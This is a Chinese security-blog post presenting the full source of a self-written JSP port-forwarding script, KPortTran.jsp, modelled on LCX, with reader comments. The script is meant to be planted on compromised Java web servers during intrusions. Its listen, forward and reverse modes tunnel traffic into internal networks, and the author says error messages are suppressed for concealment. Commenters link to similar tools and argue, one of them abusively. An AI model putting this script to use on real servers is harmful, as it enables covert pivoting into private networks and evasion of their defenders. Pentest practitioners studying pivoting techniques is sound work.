渗透过程中,由于windows和linux的差别以及运行语言环境的限制导致端口转发经常出现问题。于是自己写了个简单的JSP的端口转发脚本。仿造LCX的功能,具有正向、反向、监听三种模式。对于目前数量众多的JAVA WEB网站来说,可以比较方便的实现端口转发。
在这里发布出来,小伙伴们使用过程中,如果发现什么bug欢迎提交哈~
参数说明
/KPortTran.jsp?
lip = local ip / 本地ip //一般为内网主机IP
lp = local port / 本地端口 //一般为内网主机端口
rip = remote ip / 远程ip //一般为外网连接者IP,或者内网其他主机
rp = remote port / 远程端口 //一般为外网连接者端口
lp2 = local port2 / 本地端口2 //本地监听转发时的第二个端口
m = mode / 运行模式 //合法的值有:listen tran slave三种
运行模式
m = listen
需要参数:lp、lp2
该模式下,会在本地监听两个端口,相互转发数据
m = tran
需要参数:lip、lp、rip、rp
该模式为正向转发下,会在本地的lip上监听lp端口,当有连接建立时,再连接rip的rp端口。并将lip的lp上接收到的数据发向rip主机的rp端口。
m = slave
需要的参数: lip、lp、rip、rp
该模式为反向转发,会分别连接主机lip的lp端口 和 主机rip的rp端口。并转发两者数据,可用于内网反连。
注意事项:
某些server上使用时,可能由于编码问题会报错,请根据实际情况,更改代码首行的编码设置。
为了隐蔽,没有设置错误信息返回。如果不能执行,请检查一下参数。
测试截图与源代码:
<%@page pageEncoding="GBK"%> <%@page import="java.io.*"%> <%@page import="java.util.*"%> <%@page import="java.nio.charset.*"%> <%@page import="javax.servlet.http.HttpServletRequestWrapper"%> <%@page import="java.net.*"%> <% /*code by KingX*/ class KPortTran { public void listen(String port1, String port2) { ServerSocket listenServerSocket = null; ServerSocket outServerSocket = null; try { listenServerSocket = new ServerSocket(Integer.parseInt(port1)); outServerSocket = new ServerSocket(Integer.parseInt(port2)); } catch (NumberFormatException e) { } catch (IOException e) { } Socket listenSocket = null; Socket outSocket = null; try { while (true) { listenSocket = listenServerSocket.accept(); outSocket = outServerSocket.accept(); new tranThread(outSocket, listenSocket).start(); new tranThread(listenSocket, outSocket).start(); Thread.sleep(200); } } catch (Exception e) { } } public void slave(String targetIP, String port1, String srcIP, String port2) throws IOException { InetAddress src = InetAddress.getByName(srcIP); InetAddress dest = InetAddress.getByName(targetIP); int p1 = Integer.parseInt(port1); int p2 = Integer.parseInt(port2); new Server(src, p2, dest, p1, true); } public void tran(String srcIP, String port1, String targetIP, String port2) throws NumberFormatException, IOException { InetAddress src = InetAddress.getByName(srcIP); InetAddress dest = InetAddress.getByName(targetIP); int p1 = Integer.parseInt(port1); int p2 = Integer.parseInt(port2); new Server(src, p1, dest, p2, false); } class tranThread extends Thread { Socket in; Socket out; InputStream is; OutputStream os; public tranThread(Socket in, Socket out) throws IOException { this.is = in.getInputStream(); this.os = out.getOutputStream(); this.in = in; this.out = out; } private void closeSocket() { try { is.close(); os.close(); in.close(); out.close(); } catch (IOException e) { } } @Override public void run() { super.run(); byte[] buffer = new byte[4096]; int len = -1; try { while (true) { if (in.isClosed() || out.isClosed()|| (len = is.read(buffer, 0, buffer.length)) == -1) { break; } else { os.write(buffer, 0, len); os.flush(); } } } catch (IOException e) { closeSocket(); } finally { closeSocket(); } } } class Server extends Thread { InetAddress src; InetAddress dest; int p1, p2; boolean reverse = false; public Server(InetAddress srcIP, int srcPort, InetAddress targetIP, int targetPort, boolean flag) { this.src = srcIP; this.dest = targetIP; this.p1 = srcPort; this.p2 = targetPort; this.reverse = flag; start(); } @Override public void run() { super.run(); if (reverse) { try { Socket s = new Socket(src, p1); Socket s2 = new Socket(dest, p2); new tranThread(s, s2).start(); new tranThread(s2, s).start(); while (true) { if (s2.isClosed() || s.isClosed()) { if (s2.isClosed()) { s2 = new Socket(dest, p2); } if (s.isClosed()) { s = new Socket(src, p1); } new tranThread(s, s2).start(); new tranThread(s2, s).start(); } Thread.sleep(1000); } } catch (IOException e) { } catch (InterruptedException e) { } } else { ServerSocket ss; try { ss = new ServerSocket(p1, 5, src); while (true) { Socket s = ss.accept(); Socket s2 = new Socket(dest, p2); new tranThread(s, s2).start(); new tranThread(s2, s).start(); } } catch (IOException e) { e.printStackTrace(); } } } } } %> <% final String localIP = request.getParameter("lip"); final String localPort = request.getParameter("lp"); final String localPort2 = request.getParameter("lp2"); final String remoteIP =request.getParameter("rip"); final String remotePort =request.getParameter("rp"); final String mode =request.getParameter("m"); KPortTran pt = new KPortTran(); if (mode.equals("tran")) { pt.tran(localIP, localPort, remoteIP , remotePort); } if (mode.equals("slave")) { pt.slave(localIP, localPort, remoteIP , remotePort); } if (mode.equals("listen")) { pt.listen(localPort, localPort2); } %>

不容错过
- 看警方如何社工暗网恋童网站逮捕虐童狂魔clouds2016-08-31
- 访问一个网站就能让ASLR保护失效,百万设备陷入危机bimeover2017-02-21
- 走进科学:现代汽车的大脑与安全破晓2014-12-15
- 跪求浏览器拦截本站的解决方案……FB独家2016-03-30
0daybank
已有 19 条评论
nice job
叼。
nice
good
perfect
霸气
吊死
@admin 哈哈 名字要不要这么吊死 还不快去抢红米
这种工具网上不知道有多少,我去年就在用这个了http://attach.blackbap.org/down/wzaq/jspdkzf.rar
还见过大牛把端口复用整合进去的,FB的稿子真实越来越下三滥了
@破JB工具吧 端口转发本来也不是什么高深的技术。你发的这个工具也只有一种反连模式而已。
@破JB工具吧
你去年就用大习科的工具你去年怎么没发出来让我们这等菜鸟养眼?
你见过所谓的大牛把端口复用整合进去的怎么没见你发出来?
fb的稿子越来越下三滥了怎么没见你破即把发几篇上三滥的稿子?
人家发出来是精神你勇气是时间你有什么资格乱吠?
像你们这种只知道免费索取,一群自以为别人都欠你的似的之人
我只想说,滚你妈的。
总是有这种垃圾,楼主不需要生气。
和jspspy的 端口转发有啥区别?和这个有啥区别http://hi.baidu.com/possible_1/item/18011b77f285795bef1e53d1
不想喷
我要喷的是代码的问题–>KPortTran 中的slave和tran方法是一样的,只是参数反了而已,为什么不复用?
@ipadroid 恩,写完之后没怎么优化代码结构,还可以精简下,不过不影响使用
http://www.2cto.com/Article/201408/328097.html
这个代码码得不错
inverse host lookup failed: h_errno 11004: NO_DATA

不能用LCX接收吗?
nc监听只有一个端口啊
这玩意儿没用啊,而且打开是404